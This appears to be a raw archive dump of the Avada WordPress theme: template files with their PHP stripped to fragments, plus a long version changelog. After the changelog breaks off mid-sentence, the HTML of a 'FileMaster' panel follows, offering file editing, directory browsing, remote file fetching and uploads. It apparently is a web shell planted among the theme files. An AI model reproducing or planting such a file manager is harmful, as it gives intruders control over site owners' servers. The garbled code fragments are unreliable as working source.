    '; } } // Set the has-post-thumbnail if a video is used. This is needed if no featured image is present. $thumb_class = ''; if ( fusion_get_page_option( 'video', get_the_ID() ) ) { $thumb_class = ' has-post-thumbnail'; } // Masonry layout, get the element orientation class. $element_orientation_class = ''; if ( 'masonry' === $blog_layout ) { $responsive_images_columns = $grid_columns; $masonry_attributes = []; $element_base_padding = 0.8; // Set image or placeholder and correct corresponding styling. if ( has_post_thumbnail() ) { $post_thumbnail_attachment = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' ); $masonry_attribute_style = $lazy_load ? '' : 'background-image:url(' . $post_thumbnail_attachment[0] . ');'; } else { $post_thumbnail_attachment = []; $masonry_attribute_style = 'background-color:#f6f6f6;'; } // Get the correct image orientation class. $element_orientation_class = Avada()->images->get_element_orientation_class( get_post_thumbnail_id() ); $element_base_padding = Avada()->images->get_element_base_padding( $element_orientation_class ); $masonry_column_offset = ' - ' . ( $grid_columns_spacing / 2 ) . 'px'; if ( false !== strpos( $element_orientation_class, 'fusion-element-portrait' ) ) { $masonry_column_offset = ''; } $masonry_column_spacing = ( $grid_columns_spacing ) . 'px'; if ( class_exists( 'Fusion_Sanitize' ) && class_exists( 'Fusion_Color' ) && ! Fusion_Color::new_color( Avada()->settings->get( 'timeline_color' ) )->is_color_transparent() ) { $masonry_column_offset = ' - ' . ( $grid_columns_spacing / 2 ) . 'px'; if ( false !== strpos( $element_orientation_class, 'fusion-element-portrait' ) ) { $masonry_column_offset = ' + 4px'; } $masonry_column_spacing = ( $grid_columns_spacing - 2 ) . 'px'; if ( false !== strpos( $element_orientation_class, 'fusion-element-landscape' ) ) { $masonry_column_spacing = ( $grid_columns_spacing - 6 ) . 'px'; } } // Check if a featured image is set and also that not a video with no featured image. $post_video = fusion_get_page_option( 'video', get_the_ID() ); if ( ! empty( $post_thumbnail_attachment ) || ! $post_video ) { // Calculate the correct size of the image wrapper container, based on orientation and column spacing. $masonry_attribute_style .= 'padding-top:calc((100% + ' . $masonry_column_spacing . ') * ' . $element_base_padding . $masonry_column_offset . ');'; } // Check if we have a landscape image, then it has to stretch over 2 cols. if ( 1 !== $grid_columns && false !== strpos( $element_orientation_class, 'fusion-element-landscape' ) ) { $responsive_images_columns = $grid_columns / 2; } // Set the masonry attributes to use them in the first featured image function. $masonry_attributes = [ 'class' => 'fusion-masonry-element-container', 'style' => $masonry_attribute_style, ]; if ( $lazy_load && isset( $post_thumbnail_attachment[0] ) ) { $masonry_attributes['data-bg'] = $post_thumbnail_attachment[0]; $masonry_attributes['class'] .= ' lazyload'; } // Get the post image. Avada()->images->set_grid_image_meta( [ 'layout' => 'portfolio_full', 'columns' => $responsive_images_columns, 'gutter_width' => $grid_columns_spacing, ] ); $permalink = get_permalink( $post->ID ); $image = fusion_render_first_featured_image_markup( $post->ID, 'full', $permalink, false, false, false, 'default', 'default', '', '', 'yes', false, $masonry_attributes ); Avada()->images->set_grid_image_meta( [] ); } $post_classes = [ $post_class, $alignment_class, $thumb_class, $element_orientation_class, 'post', 'fusion-clearfix', ]; ?>
    >
    ID ); // phpcs:ignore WordPress.Security.EscapeOutput ?> settings->get( 'grid_separator_style_type' ) ); $separator_styles = ''; foreach ( $separator_styles_array as $separator_style ) { $separator_styles .= ' sep-' . $separator_style; } ?>
    ID ) || 'yes' === fusion_get_page_option( 'post_links_target', $post->ID ) ) ? ' target="_blank" rel="noopener noreferrer"' : ''; $readmore_alignment = ! $display_comments && '' !== $content_align ? 'fusion-align' . $content_align : 'fusion-alignleft'; ?>
    ID ) ) : ?>  0', ' 1', ' %' ); ?>  
    ID ) || 'yes' === fusion_get_page_option( 'post_links_target', $post->ID ) ) ? ' target="_blank" rel="noopener noreferrer"' : ''; ?>
    settings->get( 'post_meta' ) ) : ?>
    settings->get( 'pagination_range' ) ); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    Avada/templates/menu-mobile-flyout.php000064400000004645152342437710014041 0ustar00
    settings->get( 'slidingbar_toggle_style' ) && Avada()->settings->get( 'mobile_slidingbar_widgets' ) ) : ?>
    settings->get( 'mobile_menu_search' ) ) : ?>
    settings->get( 'mobile_menu_search' ) ) : ?>
    settings->get( 'woo_items' ) ) ? Avada()->settings->get( 'woo_items' ) : 12; // phpcs:ignore WordPress.WP.GlobalVariablesOverride // Use "relevance" as default if we're on the search page. $default_orderby = is_search() ? 'relevance' : apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby', '' ) ); $pob = ! empty( $params['product_orderby'] ) ? $params['product_orderby'] : $default_orderby; if ( ! empty( $params['product_order'] ) ) { $po = $params['product_order']; } else { switch ( $pob ) { case 'default': case 'menu_order': case 'price': case 'name': $po = 'asc'; break; default: $po = 'desc'; break; } } $order_string = esc_attr__( 'Default Order', 'Avada' ); switch ( $pob ) { case 'date': $order_string = esc_attr__( 'Date', 'Avada' ); break; case 'price': case 'price-desc': $order_string = esc_attr__( 'Price', 'Avada' ); break; case 'popularity': $order_string = esc_attr__( 'Popularity', 'Avada' ); break; case 'rating': $order_string = esc_attr__( 'Rating', 'Avada' ); break; case 'name': $order_string = esc_attr__( 'Name', 'Avada' ); break; case 'relevance': $order_string = esc_attr__( 'Relevance', 'Avada' ); break; } $pc = ! empty( $params['product_count'] ) ? $params['product_count'] : $per_page; ?> Avada/templates/wc-checkout-coupon-form.php000064400000002062152342437710014755 0ustar00

    Avada/templates/wc-before-shop-loop-item-title-open.php000064400000000503152342437710017076 0ustar00 Avada/templates/wc-after-shop-item-buttons.php000064400000001656152342437710015416 0ustar00settings->get( 'woocommerce_product_view' ) ) { $product_view = ( isset( $params['product_view'] ) ) ? $params['product_view'] : Avada()->settings->get( 'woocommerce_product_view' ); } } ?> settings->get( 'woocommerce_product_box_design' ) ) : ?>
    settings->get( 'woocommerce_product_box_design' ) ) : ?> Avada/templates/wc-rollover-buttons-linebreak.php000064400000000755152342437710016207 0ustar00settings->get( 'woocommerce_product_box_design' ) ? '/' : ''; $button_delimiter = apply_filters( 'awb_rollover_button_delimiter', $button_delimiter ); ?> Avada/templates/wc-product-title.php000064400000000560152342437710013506 0ustar00

    Avada/templates/wc-after-single-product-summary.php000064400000005267152342437710016451 0ustar00
    settings->get( 'woocommerce_social_links' ) ) : ?> settings->get( 'nofollow_social_links' ) ) ? ' rel="noopener noreferrer nofollow"' : ' rel="noopener noreferrer"'; ?> Avada/templates/header-secondary-main-menu.php000064400000001033152342437710015375 0ustar00
    Avada/templates/author-info.php000064400000007027152342437710012540 0ustar00 ID; $author_name = get_the_author_meta( 'display_name', $author_id ); $author_avatar = get_avatar( get_the_author_meta( 'email', $author_id ), '82' ); $author_description = get_the_author_meta( 'description', $author_id ); $author_custom = get_the_author_meta( 'author_custom', $author_id ); // If no description was added by user, add some default text and stats. if ( empty( $author_description ) ) { $author_description = esc_html__( 'This author has not yet filled in any details.', 'Avada' ); /* translators: %1$s: Username. %2$s: Number. */ $author_description .= '
    ' . sprintf( esc_html__( 'So far %1$s has created %2$s blog entries.', 'Avada' ), $author_name, count_user_posts( $author_id ) ); } ?>

    settings->get( 'disable_date_rich_snippet_pages' ) && Avada()->settings->get( 'disable_rich_snippet_author' ) ) ? '' . esc_attr( $author_name ) . '' : esc_attr( $author_name ) ); ?> ()

    'yes', 'author_id' => $author_id, 'position' => 'author', 'icon_colors' => Avada()->settings->get( 'social_links_icon_color' ), 'box_colors' => Avada()->settings->get( 'social_links_box_color' ), 'icon_boxed' => Avada()->settings->get( 'social_links_boxed' ), 'icon_boxed_radius' => Fusion_Sanitize::size( Avada()->settings->get( 'social_links_boxed_radius' ) ), 'tooltip_placement' => Avada()->settings->get( 'social_links_tooltip_placement' ), 'linktarget' => Avada()->settings->get( 'social_icons_new' ), ]; echo fusion_library()->social_sharing->render_social_icons( $author_social_icon_options ); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    Avada/templates/header-2.php000064400000000645152342437710011673 0ustar00settings->get( 'header_layout' ); get_template_part( 'templates/header-' . $header_type ); Avada/templates/header-1.php000064400000000645152342437710011672 0ustar00settings->get( 'header_layout' ); get_template_part( 'templates/header-' . $header_type ); Avada/templates/wc-product-search-form.php000064400000001056152342437710014574 0ustar00 Avada/templates/wc-cart-collaterals.php000064400000002160152342437710014141 0ustar00

    Avada/templates/wc-quick-view-product.php000064400000006347152342437710014462 0ustar00lightness; ?>
    >
    template_single_title - 5 * @hooked Avada_Woocommerce->stock_html - 10 * @hooked woocommerce_template_single_price - 10 * @hooked woocommerce_template_single_rating - 11 * @hooked Avada_Woocommerce->add_product_border - 19 * @hooked woocommerce_template_single_excerpt - 20 * @hooked woocommerce_template_single_add_to_cart - 30 */ do_action( 'fusion_quick_view_summary_content' ); ?>
    Avada/templates/social-sharing.php000064400000003547152342437710013213 0ustar00 false, 'post' => get_the_ID(), ] ); $sharingbox_social_icon_options = [ 'sharingbox' => 'yes', 'icon_colors' => Avada()->settings->get( 'sharing_social_links_icon_color' ), 'box_colors' => Avada()->settings->get( 'sharing_social_links_box_color' ), 'icon_boxed' => Avada()->settings->get( 'sharing_social_links_boxed' ), 'tooltip_placement' => fusion_get_option( 'sharing_social_links_tooltip_placement' ), 'linktarget' => Avada()->settings->get( 'social_icons_new' ), 'title' => $title, 'description' => Avada()->blog->get_content_stripped_and_excerpted( 55, get_the_content() ), 'link' => get_permalink( get_the_ID() ), 'pinterest_image' => ( $full_image ) ? $full_image[0] : '', ]; ?>

    settings->get( 'sharing_social_tagline' ) ); // phpcs:ignore WordPress.Security.EscapeOutput ?>

    social_sharing->render_social_icons( $sharingbox_social_icon_options ); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    settings->get( 'featured_images_single' ) ) : ?>
    • images->get_attachment_data( get_post_thumbnail_id() ); ?>
    • settings->get( 'status_lightbox' ) && Avada()->settings->get( 'status_lightbox_single' ) ) : ?> <?php echo esc_attr( $attachment_data['alt'] ); ?> <?php echo esc_attr( $attachment_data['alt'] ); ?>
    • settings->get( 'posts_slideshow_number' ) ) : ?> images->get_attachment_data( $attachment_new_id ); ?>
    • settings->get( 'status_lightbox' ) && Avada()->settings->get( 'status_lightbox_single' ) ) : ?> <?php echo esc_attr( $attachment_data['alt'] ); ?> <?php echo esc_attr( $attachment_data['alt'] ); ?>
    Avada/templates/wc-close-product-main-wrapper.php000064400000000341152342437710016067 0ustar00 Avada/templates/pages-rich-snippets.php000064400000002032152342437710014161 0ustar00 settings->get( 'disable_date_rich_snippet_pages' ) ) : ?> settings->get( 'disable_rich_snippet_title' ) ) : ?> settings->get( 'disable_rich_snippet_author' ) ) : ?> settings->get( 'disable_rich_snippet_date' ) ) : ?> Avada/templates/featured-image-post.php000064400000007526152342437710014153 0ustar00 settings->get( 'featured_images_single' ) ) : ?> images->set_grid_image_meta( [ 'layout' => strtolower( 'large' ), 'columns' => '1', ] ); ?>
    • settings->get( 'status_lightbox' ) && Avada()->settings->get( 'status_lightbox_single' ) ) : ?> images->get_attachment_data( get_post_thumbnail_id() ); ?>
    • settings->get( 'posts_slideshow_number' ) ) : ?>
    • settings->get( 'status_lightbox' ) && Avada()->settings->get( 'status_lightbox_single' ) ) : ?> images->get_attachment_data( $attachment_new_id ); ?>
    images->set_grid_image_meta( [] ); ?> Avada/templates/wc-add-product-wrappers-close.php000064400000000620152342437710016056 0ustar00 settings->get( 'woocommerce_product_box_design' ) ) : ?> Avada/templates/footer-content.php000064400000007447152342437710013261 0ustar00fusion_library->get_page_id(); /** * Check if the footer widget area should be displayed. */ ?> settings->get( 'footer_widgets_columns' ); $footer_widget_area_center_class = ( Avada()->settings->get( 'footer_widgets_center_content' ) ) ? ' fusion-footer-widget-area-center' : ''; ?>
    settings->get( 'footer_divider_line' ) ) { $css_class .= ( 0 < fusion_count_widgets( 'avada-footer-widget-' . $i ) ? ' fusion-has-widgets' : ' fusion-empty-area' ); } ?>
    settings->get( 'footer_copyright_center_content' ) ) ? ' fusion-footer-copyright-center' : ''; ?>
    settings->get( 'footer_special_effects' ) ) { global $wpml_language_switcher; $slot = $wpml_language_switcher->get_slot( 'statics', 'footer' ); if ( $slot->is_enabled() ) { echo $wpml_language_switcher->render( $slot ); // phpcs:ignore WordPress.Security.EscapeOutput } } Avada/templates/footer-social-icons.php000064400000001434152342437710014160 0ustar00 Avada/templates/wc-add-product-border.php000064400000001030152342437710014361 0ustar00settings->get( 'title_style_type' ) ); $separator_styles = ''; foreach ( $separator_styles_array as $separator_style ) { $separator_styles .= ' sep-' . $separator_style; } ?>
    Avada/templates/blog-post-date.php000064400000001175152342437710013124 0ustar00
    settings->get( 'alternate_date_format_day' ) ) ); ?> settings->get( 'alternate_date_format_month_year' ) ) ); ?>
    Avada/templates/post-format-box.php000064400000001574152342437710013347 0ustar00
    Avada/templates/header-secondary.php000064400000001603152342437710013514 0ustar00
    Avada/templates/header-v4.php000064400000002050152342437710012053 0ustar00
    settings->get( 'mobile_menu_design' ) ) : ?>
    settings->get( 'mobile_menu_design' ) ) : ?> settings->get( 'mobile_menu_design' ) ) : ?>
    Avada/archive.php000064400000001620152342437710007721 0ustar00 Avada/new-slideshow.php000064400000015501152342437710011073 0ustar00 settings->get( 'blog_layout' ); if ( is_archive() ) { $layout = Avada()->settings->get( 'blog_archive_layout' ); } elseif ( is_search() ) { if ( ! Avada()->settings->get( 'search_featured_images' ) ) { return; } $layout = Avada()->settings->get( 'search_layout' ); } $featured_image_width = fusion_data()->post_meta( $post->ID )->get( 'fimg[width]', true ); $featured_image_height = fusion_data()->post_meta( $post->ID )->get( 'fimg[height]', true ); if ( 'grid' !== $layout && 'masonry' !== $layout && 'timeline' !== $layout ) { $styles = ''; if ( $featured_image_width && 'auto' !== $featured_image_width ) { $styles .= '#post-' . $post->ID . ' .fusion-post-slideshow { max-width:' . $featured_image_width . ' !important;}'; } if ( $featured_image_height && 'auto' !== $featured_image_height ) { $styles .= '#post-' . $post->ID . ' .fusion-post-slideshow, #post-' . $post->ID . ' .fusion-post-slideshow .fusion-image-wrapper img { max-height:' . $featured_image_height . ' !important;}'; } if ( $featured_image_width && 'auto' === $featured_image_width ) { $styles .= '#post-' . $post->ID . ' .fusion-post-slideshow .fusion-image-wrapper img {width:auto;}'; } if ( $featured_image_height && 'auto' === $featured_image_height ) { $styles .= '#post-' . $post->ID . ' .fusion-post-slideshow .fusion-image-wrapper img {height:auto;}'; } if ( $featured_image_height && $featured_image_width && 'auto' !== $featured_image_height && 'auto' !== $featured_image_width ) { $styles .= '@media only screen and (max-width: 479px){#post-' . $post->ID . ' .fusion-post-slideshow, #post-' . $post->ID . ' .fusion-post-slideshow .fusion-image-wrapper img{width:auto !important; height:auto !important; } }'; } if ( $styles ) { echo ''; // phpcs:ignore WordPress.Security.EscapeOutput } } $permalink = get_permalink( $post->ID ); if ( is_archive() ) { $size = ( 'None' === Avada()->settings->get( 'blog_archive_sidebar' ) && 'None' === Avada()->settings->get( 'blog_archive_sidebar_2' ) ) ? 'full' : 'blog-large'; } else { $size = ( ! AWB_Widget_Framework()->has_sidebar() ) ? 'full' : 'blog-large'; } $size = ( 'medium' === $layout || 'medium alternate' === $layout ) ? 'blog-medium' : $size; $size = ( $featured_image_height && $featured_image_width && 'auto' !== $featured_image_height && 'auto' !== $featured_image_width ) ? 'full' : $size; $size = ( 'auto' === $featured_image_height || 'auto' === $featured_image_width ) ? 'full' : $size; $size = ( 'grid' === $layout || 'masonry' === $layout || 'timeline' === $layout ) ? 'full' : $size; $video = apply_filters( 'privacy_iframe_embed', fusion_get_page_option( 'video', get_the_ID() ) ); ?>
    • settings->get( 'blog_archive_grid_columns' ); if ( 'masonry' === $layout && has_post_thumbnail() ) { $element_orientation_class = Avada()->images->get_element_orientation_class( $thumbnail_id ); // Check if we have a landscape image, then it has to stretch over 2 cols. if ( 1 !== $responsive_images_column && '1' !== $responsive_images_column && 'fusion-element-landscape' === $element_orientation_class ) { $responsive_images_columns /= 2; } } Avada()->images->set_grid_image_meta( [ 'layout' => $layout, 'columns' => $responsive_images_columns, 'gutter_width' => Avada()->settings->get( 'blog_archive_grid_column_spacing' ), ] ); } elseif ( 'timeline' === $layout ) { Avada()->images->set_grid_image_meta( [ 'layout' => $layout, 'columns' => '2', ] ); } elseif ( false !== strpos( $layout, 'large' ) && 'full' === $size ) { Avada()->images->set_grid_image_meta( [ 'layout' => $layout, 'columns' => '1', ] ); } ?>
    • ID, $size, $permalink, false, false, true ); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    • ID, $size, $permalink ); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    • settings->get( 'posts_slideshow_number' ) ) : ?> images->get_attachment_data( $attachment_id ); ?>
    • images->set_grid_image_meta( [] ); ?>
    Avada/changelog.txt000064400002413777152342437710010305 0ustar00IMPORTANT: ----------------------------------------------------------------------------------------- Please be sure to read the Important Update Notes before you update: https://avada.com/documentation/important-update-information/ We are always proactive in preventing security issues, however nobody can assume they will never come up. This is why we highly recommend to stay up to date with each new theme version and plugins. ----------------------------------------------------------------------------------------- Version 7.14.2 - December 18th, 2025 ----------------------------------------------------------------------------------------- - NEW: Added unit position and 100% filled bar color options to the Progress Bar elements - NEW: Added functionality to auto-load the originally uploaded, compatible image format for OG image tag, if using webP/AVIF conversion - IMPROVEMENT: Modernized the output of the main fav icon setup - FIXED: WooCommerce Free Shipping Min. Amount dynamic data endpoint not respecting disabled free shipping methods - FIXED: Display issues of some WooCommerce price formats in the Progress Bar element - FIXED: Cell background color issue in the Woo Cart Table element happening in some cases - FIXED: Dynamic data endpoints for Page Title Bar not working in some cases - FIXED: AJAX loop happening in a few cases when using dynamic data in an element hidden through rendering logic in Live Editor ----------------------------------------------------------------------------------------- Version 7.14.1 - December 15th, 2025 ----------------------------------------------------------------------------------------- - NEW: Added options to set custom authentication pages for user registration, login, lost password and reset password - NEW: Added user registration, login, lost password, and reset password form submission actions to Avada Forms to perform the corresponding WordPress actions - NEW: Added options to count current live visitors on a post or WooCommerce product - NEW: Added a dynamic data endpoint to display the rest amount needed to receive free shipping for WooCommerce products (incl. options) - NEW: Added a buy now endpoint to dynamic data, which adds the WooCommerce product to cart and takes the customer directly to the checkout - NEW: Added stock mode option to the Progress Bar element to allow for a product stock progress bar when using WooCommerce stock management - NEW: Added several new options to the Progress Bar element, including active and max values, display types and filling speed - NEW: Added several new options to the Breadcrumbs element, including several independent color options, Home and separator icon options - NEW: Added a password strength indicator option to the Password Field of Avada Forms - NEW: Added the possibility to have Avada Forms display notices and perform redirects on the same submission, using a redirect delay - NEW: Added an HTML attributes repeater option to Container, Column, Title, Text Block, Image and Button elements to allow for easy attributes addition - NEW: Added Instagram to the privacy embeds - NEW: Added support for the Pagination element inside of an Off Canvas tied to Post Cards element - NEW: Added post IDs as option to the query builder in Post Cards element - NEW: Added a position offset option to the Container element - NEW: Added an option to set the webP image quality - NEW: Added the possibility to display the WooCommerce cart sub-totals before or after the discounts using the Cart Totals dynamic data endpoint - NEW: Added sizes="any" to the fav icon, if an SVG image is used - NEW: Added the "does not contain" comparison option to the Avada Forms conditional logic setup - IMPROVEMENT: Added explicit checks for image types to make sure webP/AVIF conversion does not affect unwanted MIME types - IMPROVEMENT: Changed the way the OG image render function works, to make sure there is no output if the image cannot be constructed - IMPROVEMENT: Refactored the way the actual image source data is retrieved in the Image element to avoid backwards compatibility issues - IMPROVEMENT: Dynamic data source images now always take precedence over an uploaded image in the Image element - IMPROVEMENT: Made sure that Woo Product Sorting element on search pages is compatible with third-party plugins - IMPROVEMENT: Added the fallback "Home" label also to the Breadcrumbs element - IMPROVEMENT: CSV exports of Avada Forms data are now UTF-formatted to avoid HTML entities in the export data - IMPROVEMENT: Page Title Bar dynamic data endpoints are allowed now on all posts - IMPROVEMENT: Added note to WooCommerce shipping totals, if shipping still needs to be calculated - IMPROVEMENT: Live Editor element previews of WooCommerce elements now also work on Off Canvas edit screens - IMPROVEMENT: Warnings on SVG upload, when the dimensions can not be retrieved, are suppressed now - UPDATED: Compatibility with WordPress 6.9 - UPDATED: Compatibility with WooCommerce 10.4.2 - FIXED: webP images being converted to AVIF, even if webP was chosen as output format - FIXED: Turnstile used for the WordPress comments form not working as expected - FIXED: Addresses with added line breaks getting output with newline char (\n) in Google Maps info windows - FIXED: AJAX add to cart loader also being shown on in the Cart element when using text links - FIXED: Videos not always displaying correctly in the lightbox of the Instagram element - FIXED: Modal element on mobile causing a a container width change on sticky containers - FIXED: WooCommerce cart quantity change no longer triggering cart totals auto-update - FIXED: Inconsistency in the Term Count dynamic data endpoint between normal and inline dynamic data - FIXED: Some Avada Forms not submitting correctly, depending on the nonce setting - FIXED: Cache clearing nonce name for a few third party API calls not adjusting according to multi-language sites Global Options name - FIXED: PHP notice in the Woo Order Table element - FIXED: PHP notice in the Woo Cart Total element - FIXED: PHP notice in the background image slider random ordering option of the Column element - FIXED: Avada Forms notification attachment option not always being correctly styled and working in the backend builder - FIXED: Incorrect option rendering of the responsive background color options in the Column element in the backend builder ----------------------------------------------------------------------------------------- Version 7.14 - November 12th, 2025 ----------------------------------------------------------------------------------------- - NEW: Added the Conditional Rendering engine to all Avada elements, allowing for maximum fine-tuning - NEW: Added user meta data to Conditional Rendering options - NEW: Added "does not contain" as comparison option to Conditional Rendering - NEW: ACF field value comparison for bool fields now works with both bool and numerical values in Conditional Rendering - NEW: Added user meta data to Dynamic Data options - NEW: Added separator option for ACF single repeater field dynamic data endpoint - NEW: Added possibility to link an Off Canvas to Post Cards element, allowing for dynamic content being pulled into the Off Canvas per Post Card (e.g. allowing custom Quick View) - NEW: Nested rows wrapping the Nested Columns element can now be edited directly in the builder, offering flex alignment options - NEW: Added flex gap option to the Column element - NEW: Added max height option to Column element - NEW: Extended the overflow options in Container and Column element for separate values on the x and y axis - NEW: Added global option and options for individual forms to disable the form view counting in Avada Forms - NEW: Added a custom attachment option to Notifications in Avada Forms - NEW: Added preview options, min and max files and single add and remove options to Avada Forms Upload field element - NEW: Added capture option to the Avada Forms Upload field element - NEW: Added the possibility to have a reset button in Avada Forms - NEW: Added the possibility to have a reset form step button in Avada Forms - NEW: Added the possibility to have a save to local storage button in Avada Forms allowing to save for m data for later continuation - NEW: Added hover text and icon options to the Submit / Reset Button element in Avada Forms - NEW: Added a random order option to the background image slider setup for Container element - NEW: Added option to sort post cards by recently purchased WooCommerce products in Post Cards element - NEW: Added different styling approach for WooCommerce cart shipping options to improve appearance at narrow widths - NEW: Added global options for Turnstile styling and made Turnstile available for the comments form - PERFORMANCE: Added global option to convert uploaded images to webP or AVIF format automatically - PERFORMANCE: Added global option to replace or keep original uploads after conversion - PERFORMANCE: Added option to Avada System Status page to bulk convert already existing images in the media library to webP or AVIF format - PERFORMANCE: Adjusted Lightbox element to store the image IDs for faster lookup and better accessibility - IMPROVEMENT: Combine Third Party CSS Files option is now a multi-select, which makes it easier to add or remove certain plugins - IMPROVEMENT: Woo Sorting element now works on a search results page that only contains WooCommerce products - IMPROVEMENT: Images in AVIF format will now open in the lightbox - IMPROVEMENT: Updated the video element or embed option in Media Slider element for easier usage - IMPROVEMENT: Set the default heading tag for the Title element to h3 - IMPROVEMENT: Cards layout in Image Carousel element can now loop even if less than 5 images have been added - IMPROVEMENT: Made sure that library templates are not cached when selecting them in maintenance mode option - IMPROVEMENT: Updated the inline dynamic data parser to allow for more formats and made sure it only reruns on options where a callback is available - IMPROVEMENT: Updated several option descriptions, dependencies, and dialogs for better usability and internationalization - UPDATED: Compatibility with WordPress 6.8.3 - UPDATED: Compatibility with WooCommerce 10.3.4 - UPDATED: Compatibility with The Events Calendar 6.15.11 - FIXED: Custom icons set scroll not working in Avada Menu Options - FIXED: Fallback image option in Post Card Image element not working correctly - FIXED: Adjusted the Google reCAPTCHA v3 implementation to make sure the token does not expire before the form is submitted - FIXED: Empty paragraph tags being output when using a page template in the maintenance mode settings that includes several containers - FIXED: Page Options custom CSS being incorrectly escaped when using a library template in the maintenance mode - FIXED: Bottom margin not being removable in Media Slider element - FIXED: Testimonial pagination container always loading, even if there is only one item - FIXED: Some animated elements do not init when more posts are loaded dynamically via AJAX in Post Cards element - FIXED: Global social icon set for Email not working in elements using social icons - FIXED: Dynamic data term count using single and plural label, if both are set and only 1 element being in that term - FIXED: Quick-view modal not being closed correctly, after a variable product was added to cart - FIXED: WooCommerce ajax add to cart button loading not always styled correctly - FIXED: WooCommerce notices displaying twice when using the Woo Notices element and a coupon error happens - FIXED: Event organizer post content option of Dynamic Data always displaying excerpt, even if full content is chosen - FIXED: z-index issue with select2 powered select fields, when being used within animated Containers / Columns - FIXED: Text align option Text Block element not working in responsive modes if "justify" is chosen - FIXED: PHP notice happening in a few cases within the ACF repeater count function in the Conditional Rendering engine - FIXED: Posts appearing as "changed" in Live Editor after page load when inline dynamic data is used - FIXED: Patterns and masks not live updating their colors in Live Editor if set to a global color that gets changed - FIXED: Blank page info box in Off-Canvas editing in Live Editor picking up Off-Canvas styles - FIXED: Separator preview in LE being incorrect when the parent column uses flex direction row - FIXED: Off-Canvas close icon not appearing selected in the corresponding option in the builders, and hover indication not working ----------------------------------------------------------------------------------------- Version 7.13.3 - September 23rd, 2025 ----------------------------------------------------------------------------------------- - NEW: Added the possibility to use inline dynamic data syntax inside the fallback option of dynamic data - NEW: Added dynamic data options to the min and max value settings in Avada Forms Date field - NEW: Added progress bar pagination style to Image Carousel element - NEW: Added text-align option to the Woo Short Description element - NEW: Added option to also count dynamically added Post Cards element headings in the number of headings conditional rendering option - SECURITY: Fixed Contributor+ level XSS issue in the Vimeo element, allowing contributors to use JS in the video ID - SECURITY: Fixed Subscriber+ level broken access control in the Avada 5.0 migration tool - IMPROVEMENT: clamp() is now also working when used in Global Options typography settings, even if responsive typography is enabled - IMPROVEMENT: Refined encoding/decoding to allow usage of UTF8 encoded chars inside the Code Block element - IMPROVEMENT: Ensured that Live Editor preference options all have saved defaults - UPDATED: swiper.js to version 12 - UPDATED: Compatibility with WooCommerce 10.2.1 - UPDATED: Compatibility with The Events Calendar 6.15.4 - FIXED: Not all bundled and recommended plugins from the Avada plugins page updating correctly - FIXED: Discounts displayed in amounts not respecting the decimals as set in the WooCommerce settings in Woo Price element - FIXED: Countdown element not always initializing when being used as part of dynamically used content - FIXED: End animation option not correctly working in Lottie element - FIXED: Scrolling issue in responsive mode in Image Carousel when using an explicitly set number of columns for responsive modes - FIXED: Button gradients set in Global Options overriding button background color options in Instagram element - FIXED: PHP notice happening in some cases in post date dynamic data - FIXED: Device type rendering logic preference not working in Live Editor ----------------------------------------------------------------------------------------- Version 7.13.2 - September 09th, 2025 ----------------------------------------------------------------------------------------- - NEW: Added Cloudflare Turnstile element to Avada Forms - NEW: Added option to include/exclude password-protected posts to Post Cards element - NEW: Added support for ACF repeaters to the Title element rotation text - SECURITY: Fixed Contributor+ level CSRF and broken access control, which could lead authenticated users to disable plugins from the Avada plugins page - IMPROVEMENT: Increased compatibility of inline dynamic data with third-party plugins and parsing optimizations - FIXED: Google Maps element not displaying if not using an overlay color - FIXED: Plural comment number in the Comment element - FIXED: Lightbox in Image Carousel not working, if images need to be cloned to allow for an infinite carousel - FIXED: Custom field name option in Post Cards element not displaying ACF text field dynamic data as text field - FIXED: Live Editor preference on/off toggle for absolutely positioned Containers not working correctly - FIXED: JS error happening on page load in Live Editor at times when using Firefox - FIXED: Some dynamic data options not displaying correctly when using the backend builder ----------------------------------------------------------------------------------------- Version 7.13.1 - August 26th, 2025 ----------------------------------------------------------------------------------------- - NEW: Added an option to Text Block element to easily disable inline dynamic data on a per element basis - NEW: Added parameter disable_idd for all elements and general shortcodes to disable inline dynamic data, if set to yes - IMPROVEMENT: Adjusted the inline dynamic data parser to make it possible to use commas and colons as part of the values - IMPROVEMENT: Adjusted the inline dynamic data parser to automatically ignore content in inline

    FileMaster

    Search Results

    File found:
    /

    No files found.

    readFile($viewFile); ?>

    Edit File:

    File cannot be opened or does not exist.

    Back

    Directory:

    getFullPath($itemPath); $isDir = is_dir($fullPath); $size = $isDir ? '-' : sizeFormatted(filesize($fullPath)); $preview = !$isDir ? $fileManager->previewFile($itemPath) : false; ?>
    Name Type Size Actions
    ← Parent Directory
    ' : '' ?>

    Create New File

    Create New Folder

    Fetch Remote File

    Upload File

    Avada/sensei/wrappers/wrapper-end.php000064400000000325152342437710013656 0ustar00
    Avada/taxonomy-wpfc_preacher.php000064400000001356152342437710012772 0ustar00 Avada/taxonomy-wpfc_sermon_topics.php000064400000001363152342437710014063 0ustar00 Avada/style.css000064400000000767152342437710007454 0ustar00/* Theme Name: Avada Description: The Avada Website Builder is the ultimate design and creation suite. Design Anything, Build Everything, Fast. The #1 selling product of all time on ThemeForest. Theme URI: https://avada.com/ Author: ThemeFusion Author URI: https://themeforest.net/user/ThemeFusion License: Themeforest Split Licence Version: 7.14.2 Requires PHP: 5.6 Requires at least: 4.9 Text Domain: Avada */ /* Classes needed by Theme Check */ .wp-caption-text, .gallery-caption, .bypostauthor { } Avada/archive-wpfc_sermon.php000064400000001335152342437710012244 0ustar00 Avada/sidebar.php000064400000000311152342437710007705 0ustar00
    >
    settings->get( 'comments_pages' ) && ! is_cart() && ! is_checkout() && ! is_account_page() && ! $is_woo_thanks_page ) : ?> settings->get( 'comments_pages' ) ) : ?>
